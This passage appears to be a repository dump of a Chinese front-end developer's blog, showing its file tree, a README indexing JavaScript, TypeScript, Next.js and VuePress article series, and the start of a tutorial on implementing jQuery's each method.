Repository: mqyqingfeng/Blog Branch: master Commit: 497c42b27172 Files: 107 Total size: 568.0 KB Directory structure: gitextract_rnyuekng/ ├── .gitignore ├── README.md ├── articles/ │ ├── 专题系列文章/ │ │ ├── JavaScript专题之jQuery通用遍历方法each的实现.md │ │ ├── JavaScript专题之乱序.md │ │ ├── JavaScript专题之从零实现jQuery的extend.md │ │ ├── JavaScript专题之偏函数.md │ │ ├── JavaScript专题之函数柯里化.md │ │ ├── JavaScript专题之函数组合.md │ │ ├── JavaScript专题之函数记忆.md │ │ ├── JavaScript专题之在数组中查找指定元素.md │ │ ├── JavaScript专题之如何判断两个对象相等.md │ │ ├── JavaScript专题之如何求数组的最大值和最小值.md │ │ ├── JavaScript专题之惰性函数.md │ │ ├── JavaScript专题之数组去重.md │ │ ├── JavaScript专题之数组扁平化.md │ │ ├── JavaScript专题之深浅拷贝.md │ │ ├── JavaScript专题之类型判断(上).md │ │ ├── JavaScript专题之类型判断(下).md │ │ ├── JavaScript专题之解读v8排序源码.md │ │ ├── JavaScript专题之跟着underscore学节流.md │ │ ├── JavaScript专题之跟着underscore学防抖.md │ │ └── JavaScript专题之递归.md │ └── 深入系列文章/ │ ├── JavaScript深入之bind的模拟实现.md │ ├── JavaScript深入之call和apply的模拟实现.md │ ├── JavaScript深入之new的模拟实现.md │ ├── JavaScript深入之从ECMAScript规范解读this.md │ ├── JavaScript深入之从原型到原型链.md │ ├── JavaScript深入之作用域链.md │ ├── JavaScript深入之创建对象的多种方式以及优缺点.md │ ├── JavaScript深入之参数按值传递.md │ ├── JavaScript深入之变量对象.md │ ├── JavaScript深入之执行上下文.md │ ├── JavaScript深入之执行上下文栈.md │ ├── JavaScript深入之类数组对象与arguments.md │ ├── JavaScript深入之继承的多种方式和优缺点.md │ ├── JavaScript深入之词法作用域和动态作用域.md │ └── JavaScript深入之闭包.md └── demos/ ├── ES6/ │ ├── generator/ │ │ └── generator-es5.js │ └── module/ │ ├── ES6/ │ │ ├── index.html │ │ └── vender/ │ │ ├── add.js │ │ ├── main.js │ │ ├── multiply.js │ │ └── square.js │ ├── commonJS/ │ │ ├── add.js │ │ ├── main.js │ │ ├── multiply.js │ │ └── square.js │ ├── requirejs/ │ │ ├── index.html │ │ └── vender/ │ │ ├── add.js │ │ ├── main.js │ │ ├── multiply.js │ │ ├── require.js │ │ └── square.js │ ├── seajs/ │ │ ├── index.html │ │ └── vender/ │ │ ├── add.js │ │ ├── main.js │ │ ├── multiply.js │ │ ├── sea.js │ │ └── square.js │ └── webpack.html ├── VuePress/ │ └── vuepress-plugin-code-copy/ │ ├── CodeCopy.vue │ ├── clientRootMixin.js │ ├── index.js │ └── package.json ├── debounce/ │ ├── debounce1.js │ ├── debounce2.js │ ├── debounce3.js │ ├── debounce4.js │ ├── debounce5.js │ ├── debounce6.js │ ├── debounce7.js │ ├── index.html │ └── underscore.js ├── node-vm/ │ └── index.js ├── qunit/ │ ├── index.html │ ├── polyfill-set.js │ ├── qunit-2.4.0.css │ ├── qunit-2.4.0.js │ └── test.js ├── scope/ │ └── scope.bash ├── template/ │ ├── template1/ │ │ ├── index.html │ │ └── template.js │ ├── template2/ │ │ ├── index.html │ │ └── template.js │ ├── template3/ │ │ ├── index.html │ │ └── template.js │ ├── template4/ │ │ ├── index.html │ │ └── template.js │ ├── template4.1/ │ │ ├── index.html │ │ └── template.js │ ├── template5/ │ │ ├── index.html │ │ └── template.js │ ├── template6/ │ │ ├── index.html │ │ └── template.js │ ├── template7/ │ │ ├── index.html │ │ └── template.js │ └── template8/ │ ├── index.html │ └── template.js ├── throttle/ │ ├── index.html │ ├── throttle1.js │ ├── throttle2.js │ ├── throttle3.js │ ├── throttle4.js │ └── throttle5.js ├── web-worker/ │ ├── index.js │ └── webworker.html └── xss/ └── 06.28_sina_XSS.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ node_modules/ .travis.yml *.swp .sass-cache/ .DS_Store .idea/ zip/ *.tmp *.bak tmp/ temp/ coverage/ build/ .happypack .pagedata.json .pagedata.json.lock .vscode/ ================================================ FILE: README.md ================================================ # 冴羽的博客 ## 关于冴羽 * 博客:[https://yayujs.com/](https://yayujs.com/) * 社群:[“低调务实优秀中国好青年”前端社群](https://www.yuque.com/yayu/nice-people/xou8qr) * 成长:[社群茶话会](https://www.yuque.com/yayu/nice-people/shares)、[我的茶话会](https://www.yuque.com/yayu/blog/grow)、[微信读书](https://yayujs.com/grow) * 翻译:[TypeScript 中文文档](http://ts.yayujs.com/)、[Svelte 中文文档](https://svelte.yayujs.com/)、[Solid 中文文档](https://solid.yayujs.com/) * 小册:[《Next.js 开发指南》](https://s.juejin.cn/ds/i8kJo2o8/)、[《Svelte 开发指南》](https://s.juejin.cn/ds/iUurdrae/)、[《Astro 开发指南》](https://juejin.cn/book/7452253924608147467) * 专栏:[掘金](https://juejin.cn/user/712139234359182/columns)、[思否](https://segmentfault.com/u/yayu)、[语雀](https://www.yuque.com/yayu)、公众号:[冴羽(#yayujs)](https://cdn.jsdelivr.net/gh/mqyqingfeng/picture/qrcode_for_gh_bd1a3dc9eafd_258.jpg) * 星球:[冴羽·前端开发者的破局之路](https://t.zsxq.com/tn3PW),8 大专栏,10 年经验总结、100 篇深度长文,70W 字原创内容 ## 公众号
冴羽 冴羽 AI
## 知识星球:冴羽 · 前端开发者的破局之路
8 大专栏、10 年经验总结、100 篇深度长文、总计 70W 字的原创内容
几乎篇篇都是 6000 字以上的深度长文,加入即看
送你一张优惠券,最低价加入星球
不用纠结,星球三天无理由退款,没有帮助就退
## 最新单篇 1. [10 个被严重低估的 JS 特性,直接少写 500 行代码](https://github.com/mqyqingfeng/Blog/issues/376) 2. [JavaScript 异步循环踩坑指南](https://github.com/mqyqingfeng/Blog/issues/376) 3. [为什么在 JavaScript 中 NaN !== NaN?背后藏着 40 年的技术故事](https://github.com/mqyqingfeng/Blog/issues/378) 4. [从 useState 到 URLState:为什么大佬们都在删状态管理代码?](https://github.com/mqyqingfeng/Blog/issues/379) 5. [涨见识了,Error.cause 让 JavaScript 错误调试更轻松](https://github.com/mqyqingfeng/Blog/issues/380) 6. [前端性能革命:200 行 JavaScript 代码实现 Streaming JSON](https://github.com/mqyqingfeng/Blog/issues/390) 7. [2025 年最火的前端项目出炉,No.1 易主!](https://github.com/mqyqingfeng/Blog/issues/391) 8. [CSS 新特性!瀑布流布局的终极解决方案](https://github.com/mqyqingfeng/Blog/issues/392) 9. [JavaScript Date 语法要过时了!以后用这个替代!](https://github.com/mqyqingfeng/Blog/issues/393)] 10. [2026 年 Web 前端开发的 8 个趋势!](https://github.com/mqyqingfeng/Blog/issues/394) 11. [2026 年前端必须掌握的 4 个 CSS 新特性!](https://github.com/mqyqingfeng/Blog/issues/395) 12. [2025 年 HTML 年度调查报告公布!好多不知道!](https://github.com/mqyqingfeng/Blog/issues/396) 13. [2025 年 HTML 年度调查报告亮点速览!](https://github.com/mqyqingfeng/Blog/issues/397) 14. [现代 CSS 颜色使用指南](https://github.com/mqyqingfeng/Blog/issues/398) 15. [现代 CSS 颜色使用指南进阶篇](https://github.com/mqyqingfeng/Blog/issues/399) 16. [20 周年之际!jQuery 4.0 正式发布!轻装上阵](https://github.com/mqyqingfeng/Blog/issues/400) 17. [2025 年 CSS 年度调查报告亮点速览](https://github.com/mqyqingfeng/Blog/issues/401) 18. [回首 jQuery 20 年:从辉煌到没落](https://github.com/mqyqingfeng/Blog/issues/402) 19. [微软发布了 2026 年 AI 发展的 7 个趋势](https://github.com/mqyqingfeng/Blog/issues/403) 20. [1 分钟 CSS 小技巧让你的 UI 看起来贵 10 倍](https://github.com/mqyqingfeng/Blog/issues/405) 21. [Vercel 团队 10 年 React 性能优化经验:10 大核心策略让性能提升 300%](https://github.com/mqyqingfeng/Blog/issues/406) 22. [Flexbox水太深,你把持不住](https://github.com/mqyqingfeng/Blog/issues/407) 23. [2026 年的 Node.js 已经不是那个你认识的 Node.js 了](https://github.com/mqyqingfeng/Blog/issues/408) 24. [我没想到 CSS if 函数这么强](https://github.com/mqyqingfeng/Blog/issues/409) 25. [2026 年 JavaScript 框架 3 大趋势](https://github.com/mqyqingfeng/Blog/issues/410) 26. [100s 带你了解 Bun 为什么这么火](https://github.com/mqyqingfeng/Blog/issues/411) 27. [写给自学前端同学的编程法则](https://github.com/mqyqingfeng/Blog/issues/412) 28. [2026 年前端开发工程师应该学什么?](https://github.com/mqyqingfeng/Blog/issues/413) 29. [来自顶级大佬 TypeScript 之父的 7 个启示](https://github.com/mqyqingfeng/Blog/issues/414) 30. [AI 时代前端开发不变的 3 个原则](https://github.com/mqyqingfeng/Blog/issues/415) 31. [资深前端都在用的 9 个调试偏方](https://github.com/mqyqingfeng/Blog/issues/416) 32. [前端开发者的迷茫,其实是认知跃迁的前夜](https://github.com/mqyqingfeng/Blog/issues/417) 33. [在浏览器控制台调试的 6 个秘密技巧](https://github.com/mqyqingfeng/Blog/issues/418) 34. [先收藏!3000 个网站设计案例供你参考!](https://github.com/mqyqingfeng/Blog/issues/419) 35. [等等,浏览器竟然有这功能?!10 个被低估的 Web API](https://github.com/mqyqingfeng/Blog/issues/420) ## Nano Banana Pro 系列 1. [6 个白嫖 Nano Banana Pro 的网站](https://github.com/mqyqingfeng/Blog/issues/381) 2. [一次找齐!1000 个 Nano Banana Pro 提示词](https://github.com/mqyqingfeng/Blog/issues/382) 3. [Nano Banana Pro 很强,但你要学会写提示词才能为所欲为](https://github.com/mqyqingfeng/Blog/issues/383) 4. [10 个 Nano Banana Pro 专业级生图技巧](https://github.com/mqyqingfeng/Blog/issues/384) 5. [疯传的 Nano Banana Pro 像素级拆解提示词](https://github.com/mqyqingfeng/Blog/issues/385) 6. [不知道怎么写 Nano Banana Pro 提示词?分享你一个结构化示例,复刻任意图片](https://github.com/mqyqingfeng/Blog/issues/386) 7. [太好看了!3 个动漫变真人 Nano Banana Pro 提示词](https://github.com/mqyqingfeng/Blog/issues/387) 8. [Nano Banana Pro 零基础快速上手](https://github.com/mqyqingfeng/Blog/issues/388) ## Astro 系列 ### 第 3 本小册(21 篇) 1. [《Astro 实战指南》](https://juejin.cn/book/7452253924608147467) ## Svelte 系列 ### 翻译 1. 翻译并搭建了中文站点:[Svelte 中文文档](https://svelte.yayujs.com/) ### 第 2 本小册(44 篇) 1. [《Svelte 开发指南》](https://s.juejin.cn/ds/iUurdrae/) ## Solid.js 系列 ### 翻译 1. 翻译并搭建了中文站点: [Solid.js 中文文档](https://solid.yayujs.com/) ### 专栏 1. [《这个比 React 更 react 的框架 —— Solid.js 最新中文文档来了!》](https://juejin.cn/post/7457857802088890387) ## Next.js 系列 ### 第 1 本小册(82 篇) 1. [《Next.js 开发指南》](https://s.juejin.cn/ds/i8kJo2o8/) ### 专栏 1. [理解 Next.js 的 CSR、SSR、SSG、ISR、RSC、SPA、Streaming SSR 等概念](https://juejin.cn/post/7407259722430201867) 2. [Next.js 写 Server Actions 的利器 —— next-safe-action](https://juejin.cn/post/7405542470946652214) 3. [Next.js Server Actions 如何进行错误处理?](https://juejin.cn/post/7400585120284311593) 4. [Next.js 写什么 useState,放 URL 里!](https://juejin.cn/post/7399708179397787687) 5. [分享一个好用的 AI 聚合平台,快速接入国内外主流 AI 模型](https://juejin.cn/post/7396933058728607784) 6. [Next.js 如何实现导航时的过渡动画?(使用 Framer Motion)](https://juejin.cn/post/7394993393125310464) 7. [Next.js 如何处理表单?(TS + Tailwind CSS + Shadcn UI + RHF + Zod + useOptimistic)](https://juejin.cn/post/7394004613015601186) 8. [Next.js 项目写 Tailwind CSS 基本都会遇到的两个问题](https://juejin.cn/post/7387611028988002314) 9. [React 19 新 hook —— useActionState 与 Next.js Server Actions 绝佳搭配](https://juejin.cn/post/7386693876052164658) 10. [Next.js 极简实现 Authentication](https://juejin.cn/post/7383934765370621961) 11. [Next.js 实现下载 m3u8 视频](https://juejin.cn/post/7382966707060703268) 12. [Next.js 项目接入 AI 的利器 —— Vercel AI SDK](https://juejin.cn/post/7376622203301969959) 13. [Next.js v15 要来了,有哪些更新?附升级指南](https://juejin.cn/post/7375858343179255862) 14. [Next.js v14 如何实现 SSE、接入 ChatGPT Stream?](https://juejin.cn/post/7372020457124659234) 15. [Next.js App Router + Socket.IO 实现简易聊天室](https://juejin.cn/post/7371423076662493224) 16. [Next.js 跨域问题的各种解法](https://juejin.cn/post/7366177423775531008) 17. [Next.js 常见错误 Hydration Failed 该如何解决?](https://juejin.cn/post/7365793739892228096) 18. [使用 Next.js App Router 常犯的 10 个错误](https://juejin.cn/post/7361204571828731956) 19. [Next.js v14 的 cookies()、header() 函数实现原理 —— AsyncLocalStorage](https://juejin.cn/post/7360737180392996899) 20. [Next.js v14 报 document is not defined 这种错怎么办?基本都会遇到,深入解析,收藏备用](https://juejin.cn/post/7352342892785352755) 21. [Next.js v14 如何为多个根布局自定义不同的 404 页面?竟然还有些麻烦!欢迎探讨](https://juejin.cn/post/7351321244125265930) 22. [(技巧)当 Next.js 遇到频繁重复的数据库操作时,记住使用 React 的 cache 函数](https://juejin.cn/post/7348643498117038099) 23. [Next.js v14 实现乐观更新,面向未来的 UI 更新方式,你可以不去做,但你不应该不了解](https://juejin.cn/post/7347957960884355113) 24. [如何用 Next.js v14 实现一个 Streaming 接口?](https://juejin.cn/post/7344089411983802394) 25. [Next.js v14 的模板(template.js)到底有啥用?](https://juejin.cn/post/7343569488744300553) ## React 系列 1. [React 之元素与组件的区别](https://juejin.cn/post/7161320926728945701) 2. [React 之 Refs 的使用和 forwardRef 的源码解读](https://juejin.cn/post/7161719602652086308) 3. [React 之 Context 的变迁与背后实现](https://juejin.cn/post/7162002168529027079) 4. [React 之 Race Condition](https://juejin.cn/post/7163202327594139679) 5. [React 之 Suspense](https://juejin.cn/post/7163934860694781989) 6. [React 之从视觉暂留到 FPS、刷新率再到显卡、垂直同步再到16ms的故事](https://juejin.cn/post/7164394153848078350) 7. [React 之 requestAnimationFrame 执行机制探索](https://juejin.cn/post/7165780929439334437) 8. [React 之 requestIdleCallback 来了解一下](https://juejin.cn/post/7166547963517337614) 9. [React 之从 requestIdleCallback 到时间切片](https://juejin.cn/post/7167335700424196127) 10. [React 之最小堆(min heap)](https://juejin.cn/post/7168283003037155359) 11. [React 之如何调试源码](https://juejin.cn/post/7168821587251036167) 12. [React 之 Scheduler 源码解读(上)](https://juejin.cn/post/7171000978278187038) 13. [React 之 Scheduler 源码解读(下)](https://juejin.cn/post/7171319288849137694) 14. [React 之 Scheduler 源码中的三个小知识点,看看你知不知道?](https://juejin.cn/post/7171633315336683528) 15. [300 行代码实现 React 的调度器 Scheduler](https://juejin.cn/post/7171728961473347614) ## 冴羽答读者问 1. [30 岁了, 现在开始努力,晚吗?](https://github.com/mqyqingfeng/Blog/issues/280) 2. [何时能够像你一样优秀?](https://github.com/mqyqingfeng/Blog/issues/281) 3. [怎么才能像你一样写文章如喝水?](https://github.com/mqyqingfeng/Blog/issues/283) 4. [怎么才能像你一样长到180?](https://github.com/mqyqingfeng/Blog/issues/284) 5. [冴羽哥哥 额爱你](https://github.com/mqyqingfeng/Blog/issues/285) 6. [啦啦啦啦啦啦](https://github.com/mqyqingfeng/Blog/issues/286) 7. [除代码外,就没别的优先级很高的爱好了吗?](https://github.com/mqyqingfeng/Blog/issues/287) 8. [钱和成长,哪个更重要?](https://github.com/mqyqingfeng/Blog/issues/288) 9. [悄悄过来蹭个回答](https://github.com/mqyqingfeng/Blog/issues/289) 10. [怎么才能不焦虑?](https://github.com/mqyqingfeng/Blog/issues/292) 11. [功利性学习的心态,你是否也会有?](https://github.com/mqyqingfeng/Blog/issues/293) 12. [人生低谷时,如何快速调整、重回正轨?](https://github.com/mqyqingfeng/Blog/issues/294) 13. [人生的意义是什么?](https://github.com/mqyqingfeng/Blog/issues/295) 14. [你是怎么理解知行合一的?](https://github.com/mqyqingfeng/Blog/issues/296) 15. [如何快速找到一个聊得来的人生伴侣?](https://github.com/mqyqingfeng/Blog/issues/297) 16. [怎么平衡工作与生活?](https://github.com/mqyqingfeng/Blog/issues/298) 17. [如果有机会,你会选择脱产学习深造吗?](https://github.com/mqyqingfeng/Blog/issues/299) 18. [如何在工作中打造影响力,带动同事?](https://github.com/mqyqingfeng/Blog/issues/306) 19. [如何学习更有计划性、提升更稳更快?](https://github.com/mqyqingfeng/Blog/issues/308) 20. [过程比结果重要吗?](https://github.com/mqyqingfeng/Blog/issues/309) 21. [冴羽,你为什么写起了鸡汤?](https://github.com/mqyqingfeng/Blog/issues/310) ## TypeScript 系列 ### 翻译 1. 翻译并搭建了中文站点:[TypeScript 中文文档](https://ts.yayujs.com/) ### 专栏 1. [TypeScript之基础入门](https://github.com/mqyqingfeng/Blog/issues/227) 2. [TypeScript之常见类型(上)](https://github.com/mqyqingfeng/Blog/issues/228) 3. [TypeScript之常见类型(下)](https://github.com/mqyqingfeng/Blog/issues/229) 4. [TypeScript之类型收窄](https://github.com/mqyqingfeng/Blog/issues/218) 5. [TypeScript之函数](https://github.com/mqyqingfeng/Blog/issues/220) 6. [TypeScript之对象类型](https://github.com/mqyqingfeng/Blog/issues/221) 7. [TypeScript之泛型](https://github.com/mqyqingfeng/Blog/issues/222) 8. [TypeScript之Keyof 操作符](https://github.com/mqyqingfeng/Blog/issues/223) 9. [TypeScript之Typeof 操作符](https://github.com/mqyqingfeng/Blog/issues/224) 10. [TypeScript之索引访问类型](https://github.com/mqyqingfeng/Blog/issues/225) 11. [TypeScript之条件类型](https://github.com/mqyqingfeng/Blog/issues/226) 12. [TypeScript之映射类型](https://github.com/mqyqingfeng/Blog/issues/230) 13. [TypeScript之模板字面量类型](https://github.com/mqyqingfeng/Blog/issues/231) 14. [TypeScript之类(上)](https://github.com/mqyqingfeng/Blog/issues/232) 15. [TypeScript之类(下)](https://github.com/mqyqingfeng/Blog/issues/233) 16. [TypeScript之模块](https://github.com/mqyqingfeng/Blog/issues/234) ## 博客搭建 1. [一篇带你用 VuePress + GitHub Pages 搭建博客](https://github.com/mqyqingfeng/Blog/issues/235) 2. [一篇教你代码同步 GitHub 和 Gitee](https://github.com/mqyqingfeng/Blog/issues/236) 3. [还不会用 GitHub Actions ?看看这篇](https://github.com/mqyqingfeng/Blog/issues/237) 4. [Gitee 如何自动部署 Pages?还是用 GitHub Actions!](https://github.com/mqyqingfeng/Blog/issues/238) 5. [一份前端够用的 Linux 命令](https://github.com/mqyqingfeng/Blog/issues/239) 6. [一份简单够用的 Nginx Location 配置讲解](https://github.com/mqyqingfeng/Blog/issues/242) 7. [一篇教你博客如何部署到自己的服务器](https://github.com/mqyqingfeng/Blog/issues/243) 8. [一篇域名从购买到备案到解析的详细教程](https://github.com/mqyqingfeng/Blog/issues/247) 9. [VuePress 博客优化之 last updated 最后更新时间如何设置](https://github.com/mqyqingfeng/Blog/issues/244) 10. [VuePress 博客优化之添加数据统计功能](https://github.com/mqyqingfeng/Blog/issues/245) 11. [VuePress 博客优化之开启 HTTPS](https://github.com/mqyqingfeng/Blog/issues/246) 12. [VuePress 博客优化之开启 Gzip 压缩](https://github.com/mqyqingfeng/Blog/issues/248) 13. [从零实现一个 VuePress 插件](https://github.com/mqyqingfeng/Blog/issues/250) 14. [VuePress 博客优化之拓展 Markdown 语法](https://github.com/mqyqingfeng/Blog/issues/251) 15. [markdown-it 原理解析](https://github.com/mqyqingfeng/Blog/issues/252) 16. [markdown-it 插件如何写(一)](https://github.com/mqyqingfeng/Blog/issues/253) 17. [markdown-it 插件如何写(二)](https://github.com/mqyqingfeng/Blog/issues/254) 18. [markdown-it 插件如何写(三)](https://github.com/mqyqingfeng/Blog/issues/255) 19. [有的时候我觉得我不会 Markdown](https://github.com/mqyqingfeng/Blog/issues/256) 20. [VuePress 博客优化之中文锚点跳转问题](https://github.com/mqyqingfeng/Blog/issues/259) 21. [搭建 VuePress 博客,你可能会用到的一些插件](https://github.com/mqyqingfeng/Blog/issues/261) 22. [VuePress 博客如何开启本地 HTTPS 访问](https://github.com/mqyqingfeng/Blog/issues/262) 23. [VuePress 博客优化之兼容 PWA](https://github.com/mqyqingfeng/Blog/issues/263) 24. [VuePress 博客优化之开启 Algolia 全文搜索](https://github.com/mqyqingfeng/Blog/issues/267) 25. [VuePress 博客优化之增加 Valine 评论功能](https://github.com/mqyqingfeng/Blog/issues/268) 26. [VuePress 博客优化之增加 Vssue 评论功能](https://github.com/mqyqingfeng/Blog/issues/270) 27. [VuePress 博客之 SEO 优化(一)sitemap 与搜索引擎收录](https://github.com/mqyqingfeng/Blog/issues/272) 28. [VuePress 博客之 SEO 优化(二)重定向](https://github.com/mqyqingfeng/Blog/issues/273) 29. [VuePress 博客之 SEO 优化(三)标题、链接优化](https://github.com/mqyqingfeng/Blog/issues/274) 30. [VuePress 博客之 SEO 优化(四) Open Graph protocol](https://github.com/mqyqingfeng/Blog/issues/275) 31. [VuePress 博客之 SEO 优化(五)添加 JSON-LD 数据](https://github.com/mqyqingfeng/Blog/issues/276) 32. [VuePress 博客之 SEO 优化(六)站长工具](https://github.com/mqyqingfeng/Blog/issues/277) 33. [搭建 VuePress 站点必做的 10 个优化](https://github.com/mqyqingfeng/Blog/issues/278) 34. [VuePress 博客搭建系列 33 篇正式完结!](https://github.com/mqyqingfeng/Blog/issues/279) ## 一些单篇 1. [浏览器系列之 Cookie 和 SameSite 属性](https://github.com/mqyqingfeng/Blog/issues/157) 1. [聊聊 npm 的语义化版本(Semver)](https://github.com/mqyqingfeng/Blog/issues/312) ## 面试系列 1. [淘系前端校招负责人元彦直播答疑文字实录](https://github.com/mqyqingfeng/Blog/issues/167) 2. [业务前端的困境](https://github.com/mqyqingfeng/Blog/issues/172) 3. [前端,社招,面淘宝,指南](https://github.com/mqyqingfeng/Blog/issues/198) 4. [前端,校招,面淘宝,指南](https://github.com/mqyqingfeng/Blog/issues/200) ## 深入系列 1. [JavaScript深入之从原型到原型链](https://github.com/mqyqingfeng/Blog/issues/2) 2. [JavaScript深入之词法作用域和动态作用域](https://github.com/mqyqingfeng/Blog/issues/3) 3. [JavaScript深入之执行上下文栈](https://github.com/mqyqingfeng/Blog/issues/4) 4. [JavaScript深入之变量对象](https://github.com/mqyqingfeng/Blog/issues/5) 5. [JavaScript深入之作用域链](https://github.com/mqyqingfeng/Blog/issues/6) 6. [JavaScript深入之从ECMAScript规范解读this](https://github.com/mqyqingfeng/Blog/issues/7) 7. [JavaScript深入之执行上下文](https://github.com/mqyqingfeng/Blog/issues/8) 8. [JavaScript深入之闭包](https://github.com/mqyqingfeng/Blog/issues/9) 9. [JavaScript深入之参数按值传递](https://github.com/mqyqingfeng/Blog/issues/10) 10. [JavaScript深入之call和apply的模拟实现](https://github.com/mqyqingfeng/Blog/issues/11) 11. [JavaScript深入之bind的模拟实现](https://github.com/mqyqingfeng/Blog/issues/12) 12. [JavaScript深入之new的模拟实现](https://github.com/mqyqingfeng/Blog/issues/13) 13. [JavaScript深入之类数组对象与arguments](https://github.com/mqyqingfeng/Blog/issues/14) 14. [JavaScript深入之创建对象的多种方式以及优缺点](https://github.com/mqyqingfeng/Blog/issues/15) 15. [JavaScript深入之继承的多种方式以及优缺点](https://github.com/mqyqingfeng/Blog/issues/16) 16. [JavaScript深入系列15篇正式完结!](https://github.com/mqyqingfeng/Blog/issues/17) 17. [JavaScript深入之浮点数精度](https://github.com/mqyqingfeng/Blog/issues/155) 18. [JavaScript深入之头疼的类型转换(上)](https://github.com/mqyqingfeng/Blog/issues/159) 19. [JavaScript深入之头疼的类型转换(下)](https://github.com/mqyqingfeng/Blog/issues/164) ## 专题系列 1. [JavaScript专题之跟着underscore学防抖](https://github.com/mqyqingfeng/Blog/issues/22) 2. [JavaScript专题之跟着underscore学节流](https://github.com/mqyqingfeng/Blog/issues/26) 3. [JavaScript专题之数组去重](https://github.com/mqyqingfeng/Blog/issues/27) 4. [JavaScript专题之类型判断(上)](https://github.com/mqyqingfeng/Blog/issues/28) 5. [JavaScript专题之类型判断(下)](https://github.com/mqyqingfeng/Blog/issues/30) 6. [JavaScript专题之深浅拷贝](https://github.com/mqyqingfeng/Blog/issues/32) 7. [JavaScript专题之从零实现jQuery的extend](https://github.com/mqyqingfeng/Blog/issues/33) 8. [JavaScript专题之如何求数组的最大值和最小值](https://github.com/mqyqingfeng/Blog/issues/35) 9. [JavaScript专题之数组扁平化](https://github.com/mqyqingfeng/Blog/issues/36) 10. [JavaScript专题之学underscore在数组中查找指定元素](https://github.com/mqyqingfeng/Blog/issues/37) 11. [JavaScript专题之jQuery通用遍历方法each的实现](https://github.com/mqyqingfeng/Blog/issues/40) 12. [JavaScript专题之如何判断两个对象相等](https://github.com/mqyqingfeng/Blog/issues/41) 13. [JavaScript专题之函数柯里化](https://github.com/mqyqingfeng/Blog/issues/42) 14. [JavaScript专题之偏函数](https://github.com/mqyqingfeng/Blog/issues/43) 15. [JavaScript专题之惰性函数](https://github.com/mqyqingfeng/Blog/issues/44) 16. [JavaScript专题之函数组合](https://github.com/mqyqingfeng/Blog/issues/45) 17. [JavaScript专题之函数记忆](https://github.com/mqyqingfeng/Blog/issues/46) 18. [JavaScript专题之递归](https://github.com/mqyqingfeng/Blog/issues/49) 19. [JavaScript专题之乱序](https://github.com/mqyqingfeng/Blog/issues/51) 20. [JavaScript专题之解读 v8 排序源码](https://github.com/mqyqingfeng/Blog/issues/52) 21. [JavaScript专题系列20篇正式完结!](https://github.com/mqyqingfeng/Blog/issues/53) 22. [JavaScript专题之花式表示26个字母](https://github.com/mqyqingfeng/Blog/issues/166) ## underscore 系列 1. [underscore 系列之如何写自己的 underscore](https://github.com/mqyqingfeng/Blog/issues/56) 2. [underscore 系列之链式调用](https://github.com/mqyqingfeng/Blog/issues/57) 3. [underscore 系列之内部函数 cb 和 optimizeCb](https://github.com/mqyqingfeng/Blog/issues/58) 4. [underscore 系列之内部函数 restArgs](https://github.com/mqyqingfeng/Blog/issues/60) 5. [underscore 系列之防冲突与 Utility Functions](https://github.com/mqyqingfeng/Blog/issues/62) 6. [underscore 系列之实现一个模板引擎(上)](https://github.com/mqyqingfeng/Blog/issues/63) 7. [underscore 系列之实现一个模板引擎(下)](https://github.com/mqyqingfeng/Blog/issues/70) 8. [underscore 系列之字符实体与 _.escape](https://github.com/mqyqingfeng/Blog/issues/77) 9. [underscore 的源码该如何阅读?](https://github.com/mqyqingfeng/Blog/issues/79) ## ES6 系列 1. [ES6 系列之 let 和 const](https://github.com/mqyqingfeng/Blog/issues/82) 2. [ES6 系列之模板字符串](https://github.com/mqyqingfeng/Blog/issues/84) 3. [ES6 系列之箭头函数](https://github.com/mqyqingfeng/Blog/issues/85) 4. [ES6 系列之模拟实现 Symbol 类型](https://github.com/mqyqingfeng/Blog/issues/87) 5. [ES6 系列之迭代器与 for of](https://github.com/mqyqingfeng/Blog/issues/90) 6. [ES6 系列之模拟实现一个 Set 数据结构](https://github.com/mqyqingfeng/Blog/issues/91) 7. [ES6 系列之 WeakMap](https://github.com/mqyqingfeng/Blog/issues/92) 8. [ES6 系列之我们来聊聊 Promise](https://github.com/mqyqingfeng/Blog/issues/98) 9. [ES6 系列之 Generator 的自动执行](https://github.com/mqyqingfeng/Blog/issues/99) 10. [ES6 系列之我们来聊聊 Async](https://github.com/mqyqingfeng/Blog/issues/100) 11. [ES6 系列之异步处理实战](https://github.com/mqyqingfeng/Blog/issues/101) 12. [ES6 系列之 Babel 将 Generator 编译成了什么样子](https://github.com/mqyqingfeng/Blog/issues/102) 13. [ES6 系列之 Babel 将 Async 编译成了什么样子](https://github.com/mqyqingfeng/Blog/issues/103) 14. [ES6 系列之 Babel 是如何编译 Class 的(上)](https://github.com/mqyqingfeng/Blog/issues/105) 15. [ES6 系列之 Babel 是如何编译 Class 的(下)](https://github.com/mqyqingfeng/Blog/issues/106) 16. [ES6 系列之 defineProperty 与 proxy](https://github.com/mqyqingfeng/Blog/issues/107) 17. [ES6 系列之模块加载方案](https://github.com/mqyqingfeng/Blog/issues/108) 18. [ES6 系列之我们来聊聊装饰器](https://github.com/mqyqingfeng/Blog/issues/109) 19. [ES6 系列之私有变量的实现](https://github.com/mqyqingfeng/Blog/issues/110) 20. [ES6 完全使用手册](https://github.com/mqyqingfeng/Blog/issues/111) ## 勘误及提问 如果有疑问或者发现错误,可以在相应的 issues 进行提问或勘误。 如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ## License 所有文章采用[知识共享署名-非商业性使用-相同方式共享 3.0 中国大陆许可协议](http://creativecommons.org/licenses/by-nc-sa/3.0/cn/)进行许可。 ================================================ FILE: articles/专题系列文章/JavaScript专题之jQuery通用遍历方法each的实现.md ================================================ # JavaScript专题之jQuery通用遍历方法each的实现 ## each介绍 jQuery 的 each 方法,作为一个通用遍历方法,可用于遍历对象和数组。 语法为: ```js jQuery.each(object, [callback]) ``` 回调函数拥有两个参数:第一个为对象的成员或数组的索引,第二个为对应变量或内容。 ```js // 遍历数组 $.each( [0,1,2], function(i, n){ console.log( "Item #" + i + ": " + n ); }); // Item #0: 0 // Item #1: 1 // Item #2: 2 ``` ```js // 遍历对象 $.each({ name: "John", lang: "JS" }, function(i, n) { console.log("Name: " + i + ", Value: " + n); }); // Name: name, Value: John // Name: lang, Value: JS ``` ## 退出循环 尽管 ES5 提供了 forEach 方法,但是 forEach 没有办法中止或者跳出 forEach 循环,除了抛出一个异常。但是对于 jQuery 的 each 函数,如果需要退出 each 循环可使回调函数返回 false,其它返回值将被忽略。 ```js $.each( [0, 1, 2, 3, 4, 5], function(i, n){ if (i > 2) return false; console.log( "Item #" + i + ": " + n ); }); // Item #0: 0 // Item #1: 1 // Item #2: 2 ``` ## 第一版 那么我们该怎么实现这样一个 each 方法呢? 